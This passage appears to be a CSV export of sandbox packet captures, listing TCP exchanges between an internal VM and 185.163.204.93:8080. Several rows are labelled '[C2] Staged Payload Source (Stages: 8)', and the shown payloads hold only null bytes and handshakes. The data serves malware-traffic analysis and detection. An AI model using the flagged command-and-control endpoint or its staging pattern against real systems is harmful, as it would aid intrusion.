{\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:32:29.538471,136,TCP 185.163.204.93:8080 -> 192.168.122.168:50161,185.163.204.93,192.168.122.168,8080,50161,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=199973463 Ack=2775483955,5254007bb792525400577f94080045000034905040004006e921b9a3cc5dc0a87aa81f90c3f10beb5a57a56e863380100053c17800000101050aa56e8632a56e8633,\"RT.{..RT.W....E..4.P@.@..!...]..z.......ZW.n.3...S.x.....\n.n.2.n.3\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 36944, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59681, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50161, \"\"seq\"\": 199973463, \"\"ack\"\": 2775483955, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2775483954, 2775483955))]\"\"}}]\"\n2026-04-29 14:32:39.542306,137,TCP 192.168.122.168:50161 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50161,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=2775483954 Ack=199973463,525400577f945254007bb792080045000029963d40008006a33fc0a87aa8b9a3cc5dc3f11f90a56e86320beb5a5750108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38461, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41791, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50161, \"\"dport\"\": 8080, \"\"seq\"\": 2775483954, \"\"ack\"\": 199973463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:32:39.542328,138,TCP 185.163.204.93:8080 -> 192.168.122.168:50161,185.163.204.93,192.168.122.168,8080,50161,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=199973463 Ack=2775483955,5254007bb792525400577f94080045000034905140004006e920b9a3cc5dc0a87aa81f90c3f10beb5a57a56e863380100053c17800000101050aa56e8632a56e8633,\"RT.{..RT.W....E..4.Q@.@.. ...]..z.......ZW.n.3...S.x.....\n.n.2.n.3\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 36945, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59680, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50161, \"\"seq\"\": 199973463, \"\"ack\"\": 2775483955, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2775483954, 2775483955))]\"\"}}]\"\n2026-04-29 14:32:40.343693,139,TCP 208.95.112.1:80 -> 192.168.122.168:50162,208.95.112.1,192.168.122.168,80,50162,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=527920813 Ack=3346682331,5254007bb792525400577f94080045000028d78440004006e799d05f7001c0a87aa80050c3f21f776eadc77a51db501100537bcc0000,RT.{..RT.W....E..(..@.@...._p...z..P...wn..zQ.P..S{...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 55172, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59289, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50162, \"\"seq\"\": 527920813, \"\"ack\"\": 3346682331, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:32:40.343861,140,TCP 192.168.122.168:50162 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50162,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=3346682331 Ack=527920814,525400577f945254007bb79208004500002806ed400080067831c0a87aa8d05f7001c3f20050c77a51db1f776eae501020137bcc0000,RT.W..RT.{....E..(..@...x1..z.._p....P.zQ..wn.P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1773, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30769, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50162, \"\"dport\"\": 80, \"\"seq\"\": 3346682331, \"\"ack\"\": 527920814, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8211, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:32:49.556296,141,TCP 192.168.122.168:50161 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50161,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=2775483954 Ack=199973463,525400577f945254007bb792080045000029963e40008006a33ec0a87aa8b9a3cc5dc3f11f90a56e86320beb5a5750108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38462, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41790, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50161, \"\"dport\"\": 8080, \"\"seq\"\": 2775483954, \"\"ack\"\": 199973463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:32:49.556331,142,TCP 185.163.204.93:8080 -> 192.168.122.168:50161,185.163.204.93,192.168.122.168,8080,50161,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=199973463 Ack=2775483955,5254007bb792525400577f94080045000034905240004006e91fb9a3cc5dc0a87aa81f90c3f10beb5a57a56e863380100053c17800000101050aa56e8632a56e8633,\"RT.{..RT.W....E..4.R@.@......]..z.......ZW.n.3...S.x.....\n.n.2.n.3\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 36946, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59679, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50161, \"\"seq\"\": 199973463, \"\"ack\"\": 2775483955, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2775483954, 2775483955))]\"\"}}]\"\n2026-04-29 14:32:59.571770,143,TCP 192.168.122.168:50161 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50161,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=2775483954 Ack=199973463,525400577f945254007bb792080045000029963f40008006a33dc0a87aa8b9a3cc5dc3f11f90a56e86320beb5a5750108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38463, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41789, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50161, \"\"dport\"\": 8080, \"\"seq\"\": 2775483954, \"\"ack\"\": 199973463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:32:59.571812,144,TCP 185.163.204.93:8080 -> 192.168.122.168:50161,185.163.204.93,192.168.122.168,8080,50161,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=199973463 Ack=2775483955,5254007bb792525400577f94080045000034905340004006e91eb9a3cc5dc0a87aa81f90c3f10beb5a57a56e863380100053c17800000101050aa56e8632a56e8633,\"RT.{..RT.W....E..4.S@.@......]..z.......ZW.n.3...S.x.....\n.n.2.n.3\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 36947, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59678, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50161, \"\"seq\"\": 199973463, \"\"ack\"\": 2775483955, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2775483954, 2775483955))]\"\"}}]\"\n2026-04-29 14:33:04.163963,145,TCP 185.163.204.93:8080 -> 192.168.122.168:50161,185.163.204.93,192.168.122.168,8080,50161,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=199973463 Ack=2775483955,5254007bb792525400577f94080045000028905440004006e929b9a3cc5dc0a87aa81f90c3f10beb5a57a56e863350110053c16c0000,RT.{..RT.W....E..(.T@.@..)...]..z.......ZW.n.3P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36948, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59689, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50161, \"\"seq\"\": 199973463, \"\"ack\"\": 2775483955, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:04.164310,146,TCP 192.168.122.168:50161 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50161,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2775483955 Ack=199973464,525400577f945254007bb792080045000028964040008006a33dc0a87aa8b9a3cc5dc3f11f90a56e86330beb5a5850108000c16c0000,RT.W..RT.{....E..(.@@....=..z....].....n.3..ZXP....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38464, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41789, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50161, \"\"dport\"\": 8080, \"\"seq\"\": 2775483955, \"\"ack\"\": 199973464, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:04.188797,147,TCP 192.168.122.168:50161 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50161,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=2775483955 Ack=199973464,525400577f945254007bb792080045000028964140008006a33cc0a87aa8b9a3cc5dc3f11f90a56e86330beb5a5850118000c16c0000,RT.W..RT.{....E..(.A@....<..z....].....n.3..ZXP....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38465, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41788, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50161, \"\"dport\"\": 8080, \"\"seq\"\": 2775483955, \"\"ack\"\": 199973464, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:04.188821,148,TCP 185.163.204.93:8080 -> 192.168.122.168:50161,185.163.204.93,192.168.122.168,8080,50161,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=199973464 Ack=2775483956,5254007bb792525400577f94080045000028000040004006797eb9a3cc5dc0a87aa81f90c3f10beb5a58a56e86345010005378c70000,RT.{..RT.W....E..(..@.@.y~...]..z.......ZX.n.4P..Sx...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 31102, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50161, \"\"seq\"\": 199973464, \"\"ack\"\": 2775483956, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 30919, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:04.207785,149,TCP 192.168.122.168:50176 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50176,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=275940484 Ack=0,525400577f945254007bb792080045000034964240008006a32fc0a87aa8b9a3cc5dc4001f9010728484000000008002ffffc1780000020405b40103030701010402,RT.W..RT.{....E..4.B@..../..z....].....r...........x..............,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38466, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41775, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50176, \"\"dport\"\": 8080, \"\"seq\"\": 275940484, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 7), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-29 14:33:04.207833,150,TCP 185.163.204.93:8080 -> 192.168.122.168:50176,185.163.204.93,192.168.122.168,8080,50176,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=1516837733 Ack=275940485,5254007bb792525400577f940800450000340000400040067972b9a3cc5dc0a87aa81f90c4005a691b65107284858012a564c1780000020405b40101040201030309,RT.{..RT.W....E..4..@.@.yr...]..z.....Zi.e.r.....d.x.............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 31090, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50176, \"\"seq\"\": 1516837733, \"\"ack\"\": 275940485, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-29 14:33:04.207970,151,TCP 192.168.122.168:50176 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50176,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=275940485 Ack=1516837734,525400577f945254007bb792080045000028964340008006a33ac0a87aa8b9a3cc5dc4001f90107284855a691b6650108000c16c0000,RT.W..RT.{....E..(.C@....:..z....].....r..Zi.fP....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38467, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41786, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50176, \"\"dport\"\": 8080, \"\"seq\"\": 275940485, \"\"ack\"\": 1516837734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:04.428378,152,TCP 192.168.122.168:50162 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50162,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,FA,,,Ether > IP > TCP,3,TCP FA Seq=3346682331 Ack=527920814,525400577f945254007bb79208004500002806ee400080067830c0a87aa8d05f7001c3f20050c77a51db1f776eae501120137bcc0000,RT.W..RT.{....E..(..@...x0..z.._p....P.zQ..wn.P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1774, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30768, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50162, \"\"dport\"\": 80, \"\"seq\"\": 3346682331, \"\"ack\"\": 527920814, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8211, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:04.428419,153,TCP 208.95.112.1:80 -> 192.168.122.168:50162,208.95.112.1,192.168.122.168,80,50162,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,A,,,Ether > 